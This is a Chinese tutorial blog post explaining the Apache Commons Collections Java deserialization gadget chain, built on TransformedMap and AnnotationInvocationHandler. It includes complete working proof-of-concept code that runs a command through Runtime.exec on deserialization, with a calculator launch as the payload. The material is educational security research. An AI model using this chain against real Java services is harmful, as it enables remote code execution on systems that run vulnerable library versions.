前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Java安全-反序列化-2-CC

Java安全-反序列化-2-CC

作者头像
Naraku
发布2022-04-14 15:25:07
3170
发布2022-04-14 15:25:07
举报
文章被收录于专栏:Naraku的专栏

CommonsCollections

TransformedMap

这条并不是ysoserial中的利用链,而利用TransformedMap改造的简化版。 来源于P牛:phith0n/CommonsCollectionsIntro.java

完整代码1

代码语言:javascript
复制
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;

public class CommonCollections1 {
  public static void main(String[] args) throws Exception {
    Transformer[] transformers = new Transformer[]{
      new ConstantTransformer(Runtime.getRuntime()),
      
      new InvokerTransformer(
        "exec",
        new Class[]{String.class},
        new Object[] {"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}
      ),
    };
    Transformer transformerChain = new ChainedTransformer(transformers);
    Map innerMap = new HashMap();
    Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
    outerMap.put("test", "xxxx");
  }
}

TransformedMap

TransformedMap,⽤于对Map类型的对象做修饰,被修饰过的Map在添加新的元素时,将可以执⾏⼀个回调。

如下,传入变量innerMap,返回outerMapouterMap在添加新元素时,keyTransformer是处理新元素的Key的回调,valueTransformer是处理新元素的Value的回调,处理后得到的返回值才会被添加进outerMap

代码语言:javascript
复制
Map outerMap = TransformedMap.decorate(innerMap, keyTransformer, valueTransformer);

这里的回调是指实现了Transformer接⼝的类,该类只有一个待实现的方法

代码语言:javascript
复制
public interface Transformer {
    public Object transform(Object input);
}

ConstantTransformer

  • ConstantTransformer是实现了transform接口的类,它的作用是直接返回传入的对象
  • 这里传入的是Runtime.getRuntime(),所以将会返回Runtime对象
代码语言:javascript
复制
new ConstantTransformer(Runtime.getRuntime())

InvokerTransformer

  • InvokerTransformer是实现了transform接口的类,它的作用是通过反射调用指定类的指定方法,并将调用结果返回,这个正是执行恶意命令的核心类
  • 实例化这个类时需要传⼊三个参数
代码语言:txt
复制
- 第⼀个参数是待执⾏的⽅法名
- 第⼆个参数是这个函数的参数列表的参数类型
- 第三个参数是传给这个函数的参数列表
代码语言:javascript
复制
new InvokerTransformer(
  "exec",
   new Class[]{String.class},
   new Object[] {
     "/System/Applications/Calculator.app/Contents/MacOS/Calculator"
   }
)

ChainedTransformer

ChainedTransformer,Transformer利用链。该类会对传入的Transformer数组进行链式调用,将前一个Transformer的执行结果当作参数传递到下一个,直至全部Transformer执行完毕后返回

代码语言:javascript
复制
// org.apache.commons.collections.functors.ChainedTransformer

public Object transform(Object object) {
    for(int i = 0; i < this.iTransformers.length; ++i) {
        object = this.iTransformers[i].transform(object);
    }

    return object;
}

POC代码中创建了⼀条ChainedTransformer,其中包含了ConstantTransformerInvokerTransformer。这两条Transformer组合得到的回调顺序为:先调用ConstantTransformer并返回一个Runtime对象,然后调用InvokerTransformer,执行exec方法,参数为Calc

代码语言:javascript
复制
Transformer[] transformers = new Transformer[]{
  new ConstantTransformer(Runtime.getRuntime()),
  new InvokerTransformer(
    "exec",
    new Class[]{String.class},
    new Object[]{
      "/System/Applications/Calculator.app/Contents/MacOS/Calculator"
  }),
};
Transformer transformerChain = new ChainedTransformer(transformers);

然后通过TransformedMap.decorate()方法,使用这条利用链修饰innerMap,得到outerMap

代码语言:javascript
复制
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

最后只需要往outerMap中添加新元素,即可触发该利用链,进行一系列回调

代码语言:javascript
复制
outerMap.put("test", "xxxx");

AnnotationInvocationHandler

当然,上⾯的代码执⾏demo,它只是⼀个⽤来在本地测试的类。在实际反序列化漏洞中,需要将 上⾯最终⽣成的outerMap对象变成⼀个序列化流。

  • 在前面Demo中,需要向修饰过的Map类的实例中添加新元素才能触发漏洞。
代码语言:txt
复制
- 手动添加新元素->触发利用链->触发漏洞而在实际反序列化中,则需要找到一个类,
代码语言:txt
复制
- 反序列化->触发`readObject`方法->触发利用链->触发漏洞

而这里找到的类就是sun.reflect.annotation.AnnotationInvocationHandlerreadObject方法如下:(这是8u71以前的代码,8u71以后做了一些修改)

代码语言:javascript
复制
private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { 
  s.defaultReadObject();
  AnnotationType annotationType = null;
  try {
    annotationType = AnnotationType.getInstance(type);
  } 
  catch(IllegalArgumentException e) { 
    throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
  }
  
  Map<String, Class<?>> memberTypes = annotationType.memberTypes();
  
  for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
    String name = memberValue.getKey();
    Class<?> memberType = memberTypes.get(name);
    if (memberType != null) {
      Object value = memberValue.getValue();
      if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) {
        memberValue.setValue( 
          new AnnotationTypeMismatchExceptionProxy( 
            value.getClass() + "[" + value + "]").setMember( annotationType.members().get(name) )
        );
      }
    }
  }
}

核心逻辑是Map.Entry<String, Object> memberValue : memberValues.entrySet()memberValue.setValue(...)memberValues就是反序列化后得到的Map,也是经过了TransformedMap修饰的对象,这里遍历了它的所有元素,并依次设置值。在调用setValue设置值的时候就会触发TransformedMap里注册的Transform,进而执行我们为其精心设计的任意代码。

构造POC

  • 尝试使用AnnotationInvocationHandler对象生成序列化数据
代码语言:javascript
复制
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class CommonCollections {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.getRuntime()),

            new InvokerTransformer(
                "exec",
                new Class[]{String.class},
                new Object[] {"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}
            ),
        };

        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        innerMap.put("test", "xxxx");

        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
       // outerMap.put("test", "xxxx");

        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        Object obj = constructor.newInstance(Retention.class, outerMap);

        // Serialization
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(obj);
        System.out.println(baos);

        // Deserialize
        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(bais);
        ois.readObject();

        ois.close();
        bais.close();
        oos.close();
        baos.close();
    }
}
  • 运行后报错java.io.NotSerializableException: java.lang.Runtime

修改POC

原因是,Java中不是所有对象都支持序列化,待序列化的对象和所有它使用的内部属性对象,必须都实现了 java.io.Serializable 接口。 而我们最早传给ConstantTransformer的是Runtime.getRuntime()Runtime类是没有实现java.io.Serializable接口的,所以不允许被序列化。

但可以通过反射来获取到当前上下文中的Runtime对象。这里将Runtime.getRuntime()换成了Runtime.class,前者是java.lang.Runtime对象,后者是java.lang.Class对象。因为Class类实现了Serializable接口,所以可以被序列化。

  • 使用Runtime.class时的调用链为:
代码语言:javascript
复制
Runtime.class.getMethod("getRuntime").invoke(null)
  • Runtime.class可以使用ConstantTransformer,这个类可以直接返回传入的对象
代码语言:javascript
复制
new ConstantTransformer(Runtime.class),
  • getMethod("getRuntime"),由于getRuntime()方法不需要参数,所以这里传入的new Class[0]只是占位符而已,修改为null也可以
代码语言:javascript
复制
new InvokerTransformer(
  "getMethod",
  new Class[]{String.class, Class[].class},
  new Object[] {"getRuntime", new Class[0]}
)
  • invoke(null),这里的new Object[0]同样是占位符
代码语言:javascript
复制
new InvokerTransformer(
  "invoke",
  new Class[] {Object.class, Object[].class},
  new Object[] {null, new Object[0]}
)
  • 创建一个TestCC.java文件,将前面的整合起来跑一下,可以正常弹出计算器
代码语言:javascript
复制
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

public class TestCC {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[] {
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer(
                "getMethod",
                new Class[]{String.class, Class[].class},
                new Object[] {"getRuntime", new Class[0]}
            ),
            new InvokerTransformer(
                "invoke",
                new Class[] {Object.class, Object[].class},
                new Object[] {null, new Object[0]}
            ),

            new InvokerTransformer(
                "exec",
                new Class[]{String.class},
                new Object[] {"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}
            ),
        };

        Transformer transformerChain = new ChainedTransformer(transformers);
        Object obj = new Object();
        transformerChain.transform(obj);

    }
}
  • 代入到POC中,替换原来的ConstantTransformer()
代码语言:javascript
复制
Transformer[] transformers = new Transformer[] {
    // new ConstantTransformer(Runtime.getRuntime()),
    
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer(
        "getMethod",
        new Class[]{String.class, Class[].class},
        new Object[] {"getRuntime", new Class[0]}
    ),
    new InvokerTransformer(
        "invoke",
        new Class[] {Object.class, Object[].class},
        new Object[] {null, new Object[0]}
    ),

    new InvokerTransformer(
        "exec",
        new Class[]{String.class},
        new Object[] {"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}
    ),
};

完整代码2

代码语言:javascript
复制
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class CommonCollections {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[] {
            // new ConstantTransformer(Runtime.getRuntime()),
            
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer(
                "getMethod",
                new Class[]{String.class, Class[].class},
                new Object[] {"getRuntime", new Class[0]}
            ),
            new InvokerTransformer(
                "invoke",
                new Class[] {Object.class, Object[].class},
                new Object[] {null, new Object[0]}
            ),

            new InvokerTransformer(
                "exec",
                new Class[]{String.class},
                new Object[] {"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}
            ),
        };

        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        innerMap.put("test", "xxxx");
        // innerMap.put("value", "xxxx");

        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
        // outerMap.put("test", "xxxx");

        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        Object obj = constructor.newInstance(Retention.class, outerMap);

        // Serialization
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(obj);
        System.out.println(baos);

        // Deserialize
        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(bais);
        Object o = (Object) ois.readObject();

        ois.close();
        bais.close();
        oos.close();
        baos.close();
    }
}
  • 运行后输出了序列化后的数据流,但是反序列化时仍然没弹出计算器。

仍未触发漏洞

这个实际上和AnnotationInvocationHandler类的逻辑有关,我们可以动态调试就会发现,在AnnotationInvocationHandler:readObject 的逻辑中,有一个if语句对var7进行判断,只有在其不是null的时候才会进入里面执行setValue,否则不会进入也就不会触发漏洞

那么如何让这个var7不为null呢?这一块我就不详细分析了,还会涉及到Java注释相关的技术

直接给出两个条件:

  • sun.reflect.annotation.AnnotationInvocationHandler构造函数的第一个参数必须是Annotation的子类,且其中必须含有至少一个方法,假设方法名是X
  • TransformedMap.decorate修饰的Map中必须有一个键名为X的元素

这也解释了为什么前面用到Retention.class,因为Retention有一个方法名为value;所以为了再满足第二个条件,需要给Map中放入一个Key是value的元素:

代码语言:javascript
复制
// innerMap.put("test", "xxxx");
innerMap.put("value", "xxxx");

高版本无法利用

JDK 8u71后修改了sun.reflect.annotation.AnnotationInvocationHandlerreadObject函数,改动后,不再直接使用反序列化得到的Map对象,而是新建了一个LinkedHashMap对象,并将原来的键值添加进去。 所以,后续对Map的操作都是基于这个新的LinkedHashMap对象,而原来我们精心构造的Map不再执行setput操作,也就不会触发RCE了。

版权属于:Naraku

本文链接:https://cloud.tencent.com/developer/article/1981221

本站所有原创文章均采用 知识共享署名-非商业-禁止演绎4.0国际许可证 。如需转载请务必注明出处并保留原文链接,谢谢~

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2022 年 04 月,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • CommonsCollections
    • TransformedMap
      • 完整代码1
      • TransformedMap
      • ConstantTransformer
      • InvokerTransformer
      • ChainedTransformer
    • AnnotationInvocationHandler
      • 构造POC
      • 修改POC
      • 完整代码2
      • 仍未触发漏洞
      • 高版本无法利用
相关产品与服务
文件存储
文件存储(Cloud File Storage,CFS)为您提供安全可靠、可扩展的共享文件存储服务。文件存储可与腾讯云服务器、容器服务、批量计算等服务搭配使用,为多个计算节点提供容量和性能可弹性扩展的高性能共享存储。腾讯云文件存储的管理界面简单、易使用,可实现对现有应用的无缝集成;按实际用量付费,为您节约成本,简化 IT 运维工作。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档